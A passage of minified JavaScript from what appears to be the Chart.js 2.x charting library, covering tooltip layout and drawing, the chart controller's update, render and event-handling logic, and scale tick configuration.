t=e._xScale,n=e._yScale||e._scale,r=e._index,i=e._datasetIndex,a=e._chart.getDatasetMeta(i).controller,o=a._getIndexScale(),s=a._getValueScale();return{xLabel:t?t.getLabelForIndex(r,i):"",yLabel:n?n.getLabelForIndex(r,i):"",label:o?""+o.getLabelForIndex(r,i):"",value:s?""+s.getLabelForIndex(r,i):"",index:r,datasetIndex:i,x:e._model.x,y:e._model.y}}function Rt(e){var t=I.global;return{xPadding:e.xPadding,yPadding:e.yPadding,xAlign:e.xAlign,yAlign:e.yAlign,rtl:e.rtl,textDirection:e.textDirection,bodyFontColor:e.bodyFontColor,_bodyFontFamily:Nt(e.bodyFontFamily,t.defaultFontFamily),_bodyFontStyle:Nt(e.bodyFontStyle,t.defaultFontStyle),_bodyAlign:e.bodyAlign,bodyFontSize:Nt(e.bodyFontSize,t.defaultFontSize),bodySpacing:e.bodySpacing,titleFontColor:e.titleFontColor,_titleFontFamily:Nt(e.titleFontFamily,t.defaultFontFamily),_titleFontStyle:Nt(e.titleFontStyle,t.defaultFontStyle),titleFontSize:Nt(e.titleFontSize,t.defaultFontSize),_titleAlign:e.titleAlign,titleSpacing:e.titleSpacing,titleMarginBottom:e.titleMarginBottom,footerFontColor:e.footerFontColor,_footerFontFamily:Nt(e.footerFontFamily,t.defaultFontFamily),_footerFontStyle:Nt(e.footerFontStyle,t.defaultFontStyle),footerFontSize:Nt(e.footerFontSize,t.defaultFontSize),_footerAlign:e.footerAlign,footerSpacing:e.footerSpacing,footerMarginTop:e.footerMarginTop,caretSize:e.caretSize,cornerRadius:e.cornerRadius,backgroundColor:e.backgroundColor,opacity:0,legendColorBackground:e.multiKeyBackground,displayColors:e.displayColors,borderColor:e.borderColor,borderWidth:e.borderWidth}}function jt(e,t){return"center"===t?e.x+e.width/2:"right"===t?e.x+e.width-e.xPadding:e.x+e.xPadding}function Ft(e){return zt([],Dt(e))}var Lt=$.extend({initialize:function(){this._model=Rt(this._options),this._lastActive=[]},getTitle:function(){var e=this,t=e._options,n=t.callbacks,r=n.beforeTitle.apply(e,arguments),i=n.title.apply(e,arguments),a=n.afterTitle.apply(e,arguments),o=[];return o=zt(o,Dt(r)),o=zt(o,Dt(i)),o=zt(o,Dt(a))},getBeforeBody:function(){return Ft(this._options.callbacks.beforeBody.apply(this,arguments))},getBody:function(e,t){var n=this,r=n._options.callbacks,i=[];return B.each(e,(function(e){var a={before:[],lines:[],after:[]};zt(a.before,Dt(r.beforeLabel.call(n,e,t))),zt(a.lines,r.label.call(n,e,t)),zt(a.after,Dt(r.afterLabel.call(n,e,t))),i.push(a)})),i},getAfterBody:function(){return Ft(this._options.callbacks.afterBody.apply(this,arguments))},getFooter:function(){var e=this,t=e._options.callbacks,n=t.beforeFooter.apply(e,arguments),r=t.footer.apply(e,arguments),i=t.afterFooter.apply(e,arguments),a=[];return a=zt(a,Dt(n)),a=zt(a,Dt(r)),a=zt(a,Dt(i))},update:function(e){var t,n,r=this,i=r._options,a=r._model,o=r._model=Rt(i),s=r._active,l=r._data,u={xAlign:a.xAlign,yAlign:a.yAlign},c={x:a.x,y:a.y},f={width:a.width,height:a.height},h={x:a.caretX,y:a.caretY};if(s.length){o.opacity=1;var d=[],p=[];h=At[i.position].call(r,s,r._eventPosition);var m=[];for(t=0,n=s.length;t<n;++t)m.push(It(s[t]));i.filter&&(m=m.filter((function(e){return i.filter(e,l)}))),i.itemSort&&(m=m.sort((function(e,t){return i.itemSort(e,t,l)}))),B.each(m,(function(e){d.push(i.callbacks.labelColor.call(r,e,r._chart)),p.push(i.callbacks.labelTextColor.call(r,e,r._chart))})),o.title=r.getTitle(m,l),o.beforeBody=r.getBeforeBody(m,l),o.body=r.getBody(m,l),o.afterBody=r.getAfterBody(m,l),o.footer=r.getFooter(m,l),o.x=h.x,o.y=h.y,o.caretPadding=i.caretPadding,o.labelColors=d,o.labelTextColors=p,o.dataPoints=m,f=function(e,t){var n=e._chart.ctx,r=2*t.yPadding,i=0,a=t.body,o=a.reduce((function(e,t){return e+t.before.length+t.lines.length+t.after.length}),0);o+=t.beforeBody.length+t.afterBody.length;var s=t.title.length,l=t.footer.length,u=t.titleFontSize,c=t.bodyFontSize,f=t.footerFontSize;r+=s*u,r+=s?(s-1)*t.titleSpacing:0,r+=s?t.titleMarginBottom:0,r+=o*c,r+=o?(o-1)*t.bodySpacing:0,r+=l?t.footerMarginTop:0,r+=l*f,r+=l?(l-1)*t.footerSpacing:0;var h=0,d=function(e){i=Math.max(i,n.measureText(e).width+h)};return n.font=B.fontString(u,t._titleFontStyle,t._titleFontFamily),B.each(t.title,d),n.font=B.fontString(c,t._bodyFontStyle,t._bodyFontFamily),B.each(t.beforeBody.concat(t.afterBody),d),h=t.displayColors?c+2:0,B.each(a,(function(e){B.each(e.before,d),B.each(e.lines,d),B.each(e.after,d)})),h=0,n.font=B.fontString(f,t._footerFontStyle,t._footerFontFamily),B.each(t.footer,d),{width:i+=2*t.xPadding,height:r}}(this,o),c=function(e,t,n,r){var i=e.x,a=e.y,o=e.caretSize,s=e.caretPadding,l=e.cornerRadius,u=n.xAlign,c=n.yAlign,f=o+s,h=l+s;return"right"===u?i-=t.width:"center"===u&&((i-=t.width/2)+t.width>r.width&&(i=r.width-t.width),i<0&&(i=0)),"top"===c?a+=f:a-="bottom"===c?t.height+f:t.height/2,"center"===c?"left"===u?i+=f:"right"===u&&(i-=f):"left"===u?i-=h:"right"===u&&(i+=h),{x:i,y:a}}(o,f,u=function(e,t){var n,r,i,a,o,s=e._model,l=e._chart,u=e._chart.chartArea,c="center",f="center";s.y<t.height?f="top":s.y>l.height-t.height&&(f="bottom");var h=(u.left+u.right)/2,d=(u.top+u.bottom)/2;"center"===f?(n=function(e){return e<=h},r=function(e){return e>h}):(n=function(e){return e<=t.width/2},r=function(e){return e>=l.width-t.width/2}),i=function(e){return e+t.width+s.caretSize+s.caretPadding>l.width},a=function(e){return e-t.width-s.caretSize-s.caretPadding<0},o=function(e){return e<=d?"top":"bottom"},n(s.x)?(c="left",i(s.x)&&(c="center",f=o(s.y))):r(s.x)&&(c="right",a(s.x)&&(c="center",f=o(s.y)));var p=e._options;return{xAlign:p.xAlign?p.xAlign:c,yAlign:p.yAlign?p.yAlign:f}}(this,f),r._chart)}else o.opacity=0;return o.xAlign=u.xAlign,o.yAlign=u.yAlign,o.x=c.x,o.y=c.y,o.width=f.width,o.height=f.height,o.caretX=h.x,o.caretY=h.y,r._model=o,e&&i.custom&&i.custom.call(r,o),r},drawCaret:function(e,t){var n=this._chart.ctx,r=this._view,i=this.getCaretPosition(e,t,r);n.lineTo(i.x1,i.y1),n.lineTo(i.x2,i.y2),n.lineTo(i.x3,i.y3)},getCaretPosition:function(e,t,n){var r,i,a,o,s,l,u=n.caretSize,c=n.cornerRadius,f=n.xAlign,h=n.yAlign,d=e.x,p=e.y,m=t.width,v=t.height;if("center"===h)s=p+v/2,"left"===f?(i=(r=d)-u,a=r,o=s+u,l=s-u):(i=(r=d+m)+u,a=r,o=s-u,l=s+u);else if("left"===f?(r=(i=d+c+u)-u,a=i+u):"right"===f?(r=(i=d+m-c-u)-u,a=i+u):(r=(i=n.caretX)-u,a=i+u),"top"===h)s=(o=p)-u,l=o;else{s=(o=p+v)+u,l=o;var g=a;a=r,r=g}return{x1:r,x2:i,x3:a,y1:o,y2:s,y3:l}},drawTitle:function(e,t,n){var r,i,a,o=t.title,s=o.length;if(s){var l=Pt(t.rtl,t.x,t.width);for(e.x=jt(t,t._titleAlign),n.textAlign=l.textAlign(t._titleAlign),n.textBaseline="middle",r=t.titleFontSize,i=t.titleSpacing,n.fillStyle=t.titleFontColor,n.font=B.fontString(r,t._titleFontStyle,t._titleFontFamily),a=0;a<s;++a)n.fillText(o[a],l.x(e.x),e.y+r/2),e.y+=r+i,a+1===s&&(e.y+=t.titleMarginBottom-i)}},drawBody:function(e,t,n){var r,i,a,o,s,l,u,c,f=t.bodyFontSize,h=t.bodySpacing,d=t._bodyAlign,p=t.body,m=t.displayColors,v=0,g=m?jt(t,"left"):0,y=Pt(t.rtl,t.x,t.width),b=function(t){n.fillText(t,y.x(e.x+v),e.y+f/2),e.y+=f+h},x=y.textAlign(d);for(n.textAlign=d,n.textBaseline="middle",n.font=B.fontString(f,t._bodyFontStyle,t._bodyFontFamily),e.x=jt(t,x),n.fillStyle=t.bodyFontColor,B.each(t.beforeBody,b),v=m&&"right"!==x?"center"===d?f/2+1:f+2:0,s=0,u=p.length;s<u;++s){for(r=p[s],i=t.labelTextColors[s],a=t.labelColors[s],n.fillStyle=i,B.each(r.before,b),l=0,c=(o=r.lines).length;l<c;++l){if(m){var w=y.x(g);n.fillStyle=t.legendColorBackground,n.fillRect(y.leftForLtr(w,f),e.y,f,f),n.lineWidth=1,n.strokeStyle=a.borderColor,n.strokeRect(y.leftForLtr(w,f),e.y,f,f),n.fillStyle=a.backgroundColor,n.fillRect(y.leftForLtr(y.xPlus(w,1),f-2),e.y+1,f-2,f-2),n.fillStyle=i}b(o[l])}B.each(r.after,b)}v=0,B.each(t.afterBody,b),e.y-=h},drawFooter:function(e,t,n){var r,i,a=t.footer,o=a.length;if(o){var s=Pt(t.rtl,t.x,t.width);for(e.x=jt(t,t._footerAlign),e.y+=t.footerMarginTop,n.textAlign=s.textAlign(t._footerAlign),n.textBaseline="middle",r=t.footerFontSize,n.fillStyle=t.footerFontColor,n.font=B.fontString(r,t._footerFontStyle,t._footerFontFamily),i=0;i<o;++i)n.fillText(a[i],s.x(e.x),e.y+r/2),e.y+=r+t.footerSpacing}},drawBackground:function(e,t,n,r){n.fillStyle=t.backgroundColor,n.strokeStyle=t.borderColor,n.lineWidth=t.borderWidth;var i=t.xAlign,a=t.yAlign,o=e.x,s=e.y,l=r.width,u=r.height,c=t.cornerRadius;n.beginPath(),n.moveTo(o+c,s),"top"===a&&this.drawCaret(e,r),n.lineTo(o+l-c,s),n.quadraticCurveTo(o+l,s,o+l,s+c),"center"===a&&"right"===i&&this.drawCaret(e,r),n.lineTo(o+l,s+u-c),n.quadraticCurveTo(o+l,s+u,o+l-c,s+u),"bottom"===a&&this.drawCaret(e,r),n.lineTo(o+c,s+u),n.quadraticCurveTo(o,s+u,o,s+u-c),"center"===a&&"left"===i&&this.drawCaret(e,r),n.lineTo(o,s+c),n.quadraticCurveTo(o,s,o+c,s),n.closePath(),n.fill(),t.borderWidth>0&&n.stroke()},draw:function(){var e=this._chart.ctx,t=this._view;if(0!==t.opacity){var n={width:t.width,height:t.height},r={x:t.x,y:t.y},i=Math.abs(t.opacity<.001)?0:t.opacity,a=t.title.length||t.beforeBody.length||t.body.length||t.afterBody.length||t.footer.length;this._options.enabled&&a&&(e.save(),e.globalAlpha=i,this.drawBackground(r,t,e,n),r.y+=t.yPadding,B.rtl.overrideTextDirection(e,t.textDirection),this.drawTitle(r,t,e),this.drawBody(r,t,e),this.drawFooter(r,t,e),B.rtl.restoreTextDirection(e,t.textDirection),e.restore())}},handleEvent:function(e){var t,n=this,r=n._options;return n._lastActive=n._lastActive||[],"mouseout"===e.type?n._active=[]:(n._active=n._chart.getElementsAtEventForMode(e,r.mode,r),r.reverse&&n._active.reverse()),(t=!B.arrayEquals(n._active,n._lastActive))&&(n._lastActive=n._active,(r.enabled||r.custom)&&(n._eventPosition={x:e.x,y:e.y},n.update(!0),n.pivot())),t}}),Bt=At,Vt=Lt;Vt.positioners=Bt;var Ht=B.valueOrDefault;function Wt(){return B.merge({},[].slice.call(arguments),{merger:function(e,t,n,r){if("xAxes"===e||"yAxes"===e){var i,a,o,s=n[e].length;for(t[e]||(t[e]=[]),i=0;i<s;++i)o=n[e][i],a=Ht(o.type,"xAxes"===e?"category":"linear"),i>=t[e].length&&t[e].push({}),!t[e][i].type||o.type&&o.type!==t[e][i].type?B.merge(t[e][i],[Ct.getScaleDefaults(a),o]):B.merge(t[e][i],o)}else B._merger(e,t,n,r)}})}function qt(){return B.merge({},[].slice.call(arguments),{merger:function(e,t,n,r){var i=t[e]||{},a=n[e];"scales"===e?t[e]=Wt(i,a):"scale"===e?t[e]=B.merge(i,[Ct.getScaleDefaults(a.type),a]):B._merger(e,t,n,r)}})}function Yt(e){var t=e.options;B.each(e.scales,(function(t){dt.removeBox(e,t)})),t=qt(I.global,I[e.config.type],t),e.options=e.config.options=t,e.ensureScalesHaveIDs(),e.buildOrUpdateScales(),e.tooltip._options=t.tooltips,e.tooltip.initialize()}function Ut(e,t,n){var r,i=function(e){return e.id===r};do{r=t+n++}while(B.findIndex(e,i)>=0);return r}function $t(e){return"top"===e||"bottom"===e}function Gt(e,t){return function(n,r){return n[e]===r[e]?n[t]-r[t]:n[e]-r[e]}}I._set("global",{elements:{},events:["mousemove","mouseout","click","touchstart","touchmove"],hover:{onHover:null,mode:"nearest",intersect:!0,animationDuration:400},onClick:null,maintainAspectRatio:!0,responsive:!0,responsiveAnimationDuration:0});var Zt=function(e,t){return this.construct(e,t),this};B.extend(Zt.prototype,{construct:function(e,t){var n=this;t=function(e){var t=(e=e||{}).data=e.data||{};return t.datasets=t.datasets||[],t.labels=t.labels||[],e.options=qt(I.global,I[e.type],e.options||{}),e}(t);var r=Ot.acquireContext(e,t),i=r&&r.canvas,a=i&&i.height,o=i&&i.width;n.id=B.uid(),n.ctx=r,n.canvas=i,n.config=t,n.width=o,n.height=a,n.aspectRatio=a?o/a:null,n.options=t.options,n._bufferedRender=!1,n._layers=[],n.chart=n,n.controller=n,Zt.instances[n.id]=n,Object.defineProperty(n,"data",{get:function(){return n.config.data},set:function(e){n.config.data=e}}),r&&i?(n.initialize(),n.update()):console.error("Failed to create chart: can't acquire context from the given item")},initialize:function(){var e=this;return Et.notify(e,"beforeInit"),B.retinaScale(e,e.options.devicePixelRatio),e.bindEvents(),e.options.responsive&&e.resize(!0),e.initToolTip(),Et.notify(e,"afterInit"),e},clear:function(){return B.canvas.clear(this),this},stop:function(){return X.cancelAnimation(this),this},resize:function(e){var t=this,n=t.options,r=t.canvas,i=n.maintainAspectRatio&&t.aspectRatio||null,a=Math.max(0,Math.floor(B.getMaximumWidth(r))),o=Math.max(0,Math.floor(i?a/i:B.getMaximumHeight(r)));if((t.width!==a||t.height!==o)&&(r.width=t.width=a,r.height=t.height=o,r.style.width=a+"px",r.style.height=o+"px",B.retinaScale(t,n.devicePixelRatio),!e)){var s={width:a,height:o};Et.notify(t,"resize",[s]),n.onResize&&n.onResize(t,s),t.stop(),t.update({duration:n.responsiveAnimationDuration})}},ensureScalesHaveIDs:function(){var e=this.options,t=e.scales||{},n=e.scale;B.each(t.xAxes,(function(e,n){e.id||(e.id=Ut(t.xAxes,"x-axis-",n))})),B.each(t.yAxes,(function(e,n){e.id||(e.id=Ut(t.yAxes,"y-axis-",n))})),n&&(n.id=n.id||"scale")},buildOrUpdateScales:function(){var e=this,t=e.options,n=e.scales||{},r=[],i=Object.keys(n).reduce((function(e,t){return e[t]=!1,e}),{});t.scales&&(r=r.concat((t.scales.xAxes||[]).map((function(e){return{options:e,dtype:"category",dposition:"bottom"}})),(t.scales.yAxes||[]).map((function(e){return{options:e,dtype:"linear",dposition:"left"}})))),t.scale&&r.push({options:t.scale,dtype:"radialLinear",isDefault:!0,dposition:"chartArea"}),B.each(r,(function(t){var r=t.options,a=r.id,o=Ht(r.type,t.dtype);$t(r.position)!==$t(t.dposition)&&(r.position=t.dposition),i[a]=!0;var s=null;if(a in n&&n[a].type===o)(s=n[a]).options=r,s.ctx=e.ctx,s.chart=e;else{var l=Ct.getScaleConstructor(o);if(!l)return;s=new l({id:a,type:o,options:r,ctx:e.ctx,chart:e}),n[s.id]=s}s.mergeTicksOptions(),t.isDefault&&(e.scale=s)})),B.each(i,(function(e,t){e||delete n[t]})),e.scales=n,Ct.addScalesToLayout(this)},buildOrUpdateControllers:function(){var e,t,n=this,r=[],i=n.data.datasets;for(e=0,t=i.length;e<t;e++){var a=i[e],o=n.getDatasetMeta(e),s=a.type||n.config.type;if(o.type&&o.type!==s&&(n.destroyDatasetMeta(e),o=n.getDatasetMeta(e)),o.type=s,o.order=a.order||0,o.index=e,o.controller)o.controller.updateIndex(e),o.controller.linkScales();else{var l=Xe[o.type];if(void 0===l)throw new Error('"'+o.type+'" is not a chart type.');o.controller=new l(n,e),r.push(o.controller)}}return r},resetElements:function(){var e=this;B.each(e.data.datasets,(function(t,n){e.getDatasetMeta(n).controller.reset()}),e)},reset:function(){this.resetElements(),this.tooltip.initialize()},update:function(e){var t,n,r=this;if(e&&"object"===typeof e||(e={duration:e,lazy:arguments[1]}),Yt(r),Et._invalidate(r),!1!==Et.notify(r,"beforeUpdate")){r.tooltip._data=r.data;var i=r.buildOrUpdateControllers();for(t=0,n=r.data.datasets.length;t<n;t++)r.getDatasetMeta(t).controller.buildOrUpdateElements();r.updateLayout(),r.options.animation&&r.options.animation.duration&&B.each(i,(function(e){e.reset()})),r.updateDatasets(),r.tooltip.initialize(),r.lastActive=[],Et.notify(r,"afterUpdate"),r._layers.sort(Gt("z","_idx")),r._bufferedRender?r._bufferedRequest={duration:e.duration,easing:e.easing,lazy:e.lazy}:r.render(e)}},updateLayout:function(){var e=this;!1!==Et.notify(e,"beforeLayout")&&(dt.update(this,this.width,this.height),e._layers=[],B.each(e.boxes,(function(t){t._configure&&t._configure(),e._layers.push.apply(e._layers,t._layers())}),e),e._layers.forEach((function(e,t){e._idx=t})),Et.notify(e,"afterScaleUpdate"),Et.notify(e,"afterLayout"))},updateDatasets:function(){if(!1!==Et.notify(this,"beforeDatasetsUpdate")){for(var e=0,t=this.data.datasets.length;e<t;++e)this.updateDataset(e);Et.notify(this,"afterDatasetsUpdate")}},updateDataset:function(e){var t=this.getDatasetMeta(e),n={meta:t,index:e};!1!==Et.notify(this,"beforeDatasetUpdate",[n])&&(t.controller._update(),Et.notify(this,"afterDatasetUpdate",[n]))},render:function(e){var t=this;e&&"object"===typeof e||(e={duration:e,lazy:arguments[1]});var n=t.options.animation,r=Ht(e.duration,n&&n.duration),i=e.lazy;if(!1!==Et.notify(t,"beforeRender")){var a=function(e){Et.notify(t,"afterRender"),B.callback(n&&n.onComplete,[e],t)};if(n&&r){var o=new Z({numSteps:r/16.66,easing:e.easing||n.easing,render:function(e,t){var n=B.easing.effects[t.easing],r=t.currentStep,i=r/t.numSteps;e.draw(n(i),i,r)},onAnimationProgress:n.onProgress,onAnimationComplete:a});X.addAnimation(t,o,r,i)}else t.draw(),a(new Z({numSteps:0,chart:t}));return t}},draw:function(e){var t,n,r=this;if(r.clear(),B.isNullOrUndef(e)&&(e=1),r.transition(e),!(r.width<=0||r.height<=0)&&!1!==Et.notify(r,"beforeDraw",[e])){for(n=r._layers,t=0;t<n.length&&n[t].z<=0;++t)n[t].draw(r.chartArea);for(r.drawDatasets(e);t<n.length;++t)n[t].draw(r.chartArea);r._drawTooltip(e),Et.notify(r,"afterDraw",[e])}},transition:function(e){for(var t=0,n=(this.data.datasets||[]).length;t<n;++t)this.isDatasetVisible(t)&&this.getDatasetMeta(t).controller.transition(e);this.tooltip.transition(e)},_getSortedDatasetMetas:function(e){var t,n,r=[];for(t=0,n=(this.data.datasets||[]).length;t<n;++t)e&&!this.isDatasetVisible(t)||r.push(this.getDatasetMeta(t));return r.sort(Gt("order","index")),r},_getSortedVisibleDatasetMetas:function(){return this._getSortedDatasetMetas(!0)},drawDatasets:function(e){var t,n;if(!1!==Et.notify(this,"beforeDatasetsDraw",[e])){for(n=(t=this._getSortedVisibleDatasetMetas()).length-1;n>=0;--n)this.drawDataset(t[n],e);Et.notify(this,"afterDatasetsDraw",[e])}},drawDataset:function(e,t){var n={meta:e,index:e.index,easingValue:t};!1!==Et.notify(this,"beforeDatasetDraw",[n])&&(e.controller.draw(t),Et.notify(this,"afterDatasetDraw",[n]))},_drawTooltip:function(e){var t=this.tooltip,n={tooltip:t,easingValue:e};!1!==Et.notify(this,"beforeTooltipDraw",[n])&&(t.draw(),Et.notify(this,"afterTooltipDraw",[n]))},getElementAtEvent:function(e){return rt.modes.single(this,e)},getElementsAtEvent:function(e){return rt.modes.label(this,e,{intersect:!0})},getElementsAtXAxis:function(e){return rt.modes["x-axis"](this,e,{intersect:!0})},getElementsAtEventForMode:function(e,t,n){var r=rt.modes[t];return"function"===typeof r?r(this,e,n):[]},getDatasetAtEvent:function(e){return rt.modes.dataset(this,e,{intersect:!0})},getDatasetMeta:function(e){var t=this.data.datasets[e];t._meta||(t._meta={});var n=t._meta[this.id];return n||(n=t._meta[this.id]={type:null,data:[],dataset:null,controller:null,hidden:null,xAxisID:null,yAxisID:null,order:t.order||0,index:e}),n},getVisibleDatasetCount:function(){for(var e=0,t=0,n=this.data.datasets.length;t<n;++t)this.isDatasetVisible(t)&&e++;return e},isDatasetVisible:function(e){var t=this.getDatasetMeta(e);return"boolean"===typeof t.hidden?!t.hidden:!this.data.datasets[e].hidden},generateLegend:function(){return this.options.legendCallback(this)},destroyDatasetMeta:function(e){var t=this.id,n=this.data.datasets[e],r=n._meta&&n._meta[t];r&&(r.controller.destroy(),delete n._meta[t])},destroy:function(){var e,t,n=this,r=n.canvas;for(n.stop(),e=0,t=n.data.datasets.length;e<t;++e)n.destroyDatasetMeta(e);r&&(n.unbindEvents(),B.canvas.clear(n),Ot.releaseContext(n.ctx),n.canvas=null,n.ctx=null),Et.notify(n,"destroy"),delete Zt.instances[n.id]},toBase64Image:function(){return this.canvas.toDataURL.apply(this.canvas,arguments)},initToolTip:function(){var e=this;e.tooltip=new Vt({_chart:e,_chartInstance:e,_data:e.data,_options:e.options.tooltips},e)},bindEvents:function(){var e=this,t=e._listeners={},n=function(){e.eventHandler.apply(e,arguments)};B.each(e.options.events,(function(r){Ot.addEventListener(e,r,n),t[r]=n})),e.options.responsive&&(n=function(){e.resize()},Ot.addEventListener(e,"resize",n),t.resize=n)},unbindEvents:function(){var e=this,t=e._listeners;t&&(delete e._listeners,B.each(t,(function(t,n){Ot.removeEventListener(e,n,t)})))},updateHoverStyle:function(e,t,n){var r,i,a,o=n?"set":"remove";for(i=0,a=e.length;i<a;++i)(r=e[i])&&this.getDatasetMeta(r._datasetIndex).controller[o+"HoverStyle"](r);"dataset"===t&&this.getDatasetMeta(e[0]._datasetIndex).controller["_"+o+"DatasetHoverStyle"]()},eventHandler:function(e){var t=this,n=t.tooltip;if(!1!==Et.notify(t,"beforeEvent",[e])){t._bufferedRender=!0,t._bufferedRequest=null;var r=t.handleEvent(e);n&&(r=n._start?n.handleEvent(e):r|n.handleEvent(e)),Et.notify(t,"afterEvent",[e]);var i=t._bufferedRequest;return i?t.render(i):r&&!t.animating&&(t.stop(),t.render({duration:t.options.hover.animationDuration,lazy:!0})),t._bufferedRender=!1,t._bufferedRequest=null,t}},handleEvent:function(e){var t,n=this,r=n.options||{},i=r.hover;return n.lastActive=n.lastActive||[],"mouseout"===e.type?n.active=[]:n.active=n.getElementsAtEventForMode(e,i.mode,i),B.callback(r.onHover||r.hover.onHover,[e.native,n.active],n),"mouseup"!==e.type&&"click"!==e.type||r.onClick&&r.onClick.call(n,e.native,n.active),n.lastActive.length&&n.updateHoverStyle(n.lastActive,i.mode,!1),n.active.length&&i.mode&&n.updateHoverStyle(n.active,i.mode,!0),t=!B.arrayEquals(n.active,n.lastActive),n.lastActive=n.active,t}}),Zt.instances={};var Xt=Zt;function Kt(){throw new Error("This method is not implemented: either no adapter can be found or an incomplete integration was provided.")}function Qt(e){this.options=e||{}}Zt.Controller=Zt,Zt.types={},B.configMerge=qt,B.scaleMerge=Wt,B.extend(Qt.prototype,{formats:Kt,parse:Kt,format:Kt,add:Kt,diff:Kt,startOf:Kt,endOf:Kt,_create:function(e){return e}}),Qt.override=function(e){B.extend(Qt.prototype,e)};var Jt={_date:Qt},en={formatters:{values:function(e){return B.isArray(e)?e:""+e},linear:function(e,t,n){var r=n.length>3?n[2]-n[1]:n[1]-n[0];Math.abs(r)>1&&e!==Math.floor(e)&&(r=e-Math.floor(e));var i=B.log10(Math.abs(r)),a="";if(0!==e)if(Math.max(Math.abs(n[0]),Math.abs(n[n.length-1]))<1e-4){var o=B.log10(Math.abs(e)),s=Math.floor(o)-Math.floor(i);s=Math.max(Math.min(s,20),0),a=e.toExponential(s)}else{var l=-1*Math.floor(i);l=Math.max(Math.min(l,20),0),a=e.toFixed(l)}else a="0";return a},logarithmic:function(e,t,n){var r=e/Math.pow(10,Math.floor(B.log10(e)));return 0===e?"0":1===r||2===r||5===r||0===t||t===n.length-1?e.toExponential():""}}},tn=B.isArray,nn=B.isNullOrUndef,rn=B.valueOrDefault,an=B.valueAtIndexOrDefault;function on(e,t,n){var r,i=e.getTicks().length,a=Math.min(t,i-1),o=e.getPixelForTick(a),s=e._startPixel,l=e._endPixel;if(!(n&&(r=1===i?Math.max(o-s,l-o):0===t?(e.getPixelForTick(1)-o)/2:(o-e.getPixelForTick(a-1))/2,(o+=a<t?r:-r)<s-1e-6||o>l+1e-6)))return o}function sn(e,t,n,r){var i,a,o,s,l,u,c,f,h,d,p,m,v,g=n.length,y=[],b=[],x=[];for(i=0;i<g;++i){if(s=n[i].label,l=n[i].major?t.major:t.minor,e.font=u=l.string,c=r[u]=r[u]||{data:{},gc:[]},f=l.lineHeight,h=d=0,nn(s)||tn(s)){if(tn(s))for(a=0,o=s.length;a<o;++a)p=s[a],nn(p)||tn(p)||(h=B.measureText(e,c.data,c.gc,h,p),d+=f)}else h=B.measureText(e,c.data,c.gc,h,s),d=f;y.push(h),b.push(d),x.push(f/2)}function w(e){return{width:y[e]||0,height:b[e]||0,offset:x[e]||0}}return function(e,t){B.each(e,(function(e){var n,r=e.gc,i=r.length/2;if(i>t){for(n=0;n<i;++n)delete e.data[r[n]];r.splice(0,i)}}))}(r,g),m=y.indexOf(Math.max.apply(null,y)),v=b.indexOf(Math.max.apply(null,b)),{first:w(0),last:w(g-1),widest:w(m),highest:w(v)}}function ln(e){return e.drawTicks?e.tickMarkLength:0}function un(e){var t,n;return e.display?(t=B.options._parseFont(e),n=B.options.toPadding(e.padding),t.lineHeight+n.height):0}function cn(e,t){return B.extend(B.options._parseFont({fontFamily:rn(t.fontFamily,e.fontFamily),fontSize:rn(t.fontSize,e.fontSize),fontStyle:rn(t.fontStyle,e.fontStyle),lineHeight:rn(t.lineHeight,e.lineHeight)}),{color:B.options.resolve([t.fontColor,e.fontColor,I.global.defaultFontColor])})}function fn(e){var t=cn(e,e.minor);return{minor:t,major:e.major.enabled?cn(e,e.major):t}}function hn(e){var t,n,r,i=[];for(n=0,r=e.length;n<r;++n)"undefined"!==typeof(t=e[n])._index&&i.push(t);return i}function dn(e,t,n,r){var i,a,o,s,l=rn(n,0),u=Math.min(rn(r,e.length),e.length),c=0;for(t=Math.ceil(t),r&&(t=(i=r-n)/Math.floor(i/t)),s=l;s<0;)c++,s=Math.round(l+c*t);for(a=Math.max(l,0);a<u;a++)o=e[a],a===s?(o._index=a,c++,s=Math.round(l+c*t)):delete o.label}I._set("scale",{display:!0,position:"left",offset:!1,gridLines:{display:!0,color:"rgba(0,0,0,0.1)",lineWidth:1,drawBorder:!0,drawOnChartArea:!0,drawTicks:!0,tickMarkLength:10,zeroLineWidth:1,zeroLineColor:"rgba(0,0,0,0.25)",zeroLineBorderDash:[],zeroLineBorderDashOffset:0,offsetGridLines:!1,borderDash:[],borderDashOffset:0},scaleLabel:{display:!1,labelString:"",padding:{top:4,bottom:4}},ticks:{beginAtZero:!1,minRotation:0,maxRotation:50,mirror:!1,padding:0,reverse:!1,display:!0,autoSkip:!0,autoSkipPadding:0,labelOffset:0,callback:en.formatters.values,minor:{},major:{}}});var pn=$.extend({zeroLineIndex:0,getPadding:function(){return{left:this.paddingLeft||0,top:this.paddingTop||0,right:this.paddingRight||0,bottom:this.paddingBottom||0}},getTicks:function(){return this._ticks},_getLabels:function(){var e=this.chart.data;return this.options.labels||(this.isHorizontal()?e.xLabels:e.yLabels)||e.labels||[]},mergeTicksOptions:function(){},beforeUpdate:function(){B.callback(this.options.beforeUpdate,[this])},update:function(e,t,n){var r,i,a,o,s,l=this,u=l.options.ticks,c=u.sampleSize;if(l.beforeUpdate(),l.maxWidth=e,l.maxHeight=t,l.margins=B.extend({left:0,right:0,top:0,bottom:0},n),l._ticks=null,l.ticks=null,l._labelSizes=null,l._maxLabelLines=0,l.longestLabelWidth=0,l.longestTextCache=l.longestTextCache||{},l._gridLineItems=null,l._labelItems=null,l.beforeSetDimensions(),l.setDimensions(),l.afterSetDimensions(),l.beforeDataLimits(),l.determineDataLimits(),l.afterDataLimits(),l.beforeBuildTicks(),o=l.buildTicks()||[],(!(o=l.afterBuildTicks(o)||o)||!o.length)&&l.ticks)for(o=[],r=0,i=l.ticks.length;r<i;++r)o.push({value:l.ticks[r],major:!1});return l._ticks=o,s=c<o.length,a=l._convertTicksToLabels(s?function(e,t){for(var n=[],r=e.length/t,i=0,a=e.length;i<a;i+=r)n.push(e[Math.floor(i)]);return n}(o,c):o),l._configure(),l.beforeCalculateTickRotation(),l.calculateTickRotation(),l.afterCalculateTickRotation(),l.beforeFit(),l.fit(),l.afterFit(),l._ticksToDraw=u.display&&(u.autoSkip||"auto"===u.source)?l._autoSkip(o):o,s&&(a=l._convertTicksToLabels(l._ticksToDraw)),l.ticks=a,l.afterUpdate(),l.minSize},_configure:function(){var e,t,n=this,r=n.options.ticks.reverse;n.isHorizontal()?(e=n.left,t=n.right):(e=n.top,t=n.bottom,r=!r),n._startPixel=e,n._endPixel=t,n._reversePixels=r,n._length=t-e},afterUpdate:function(){B.callback(this.options.afterUpdate,[this])},beforeSetDimensions:function(){B.callback(this.options.beforeSetDimensions,[this])},setDimensions:function(){var 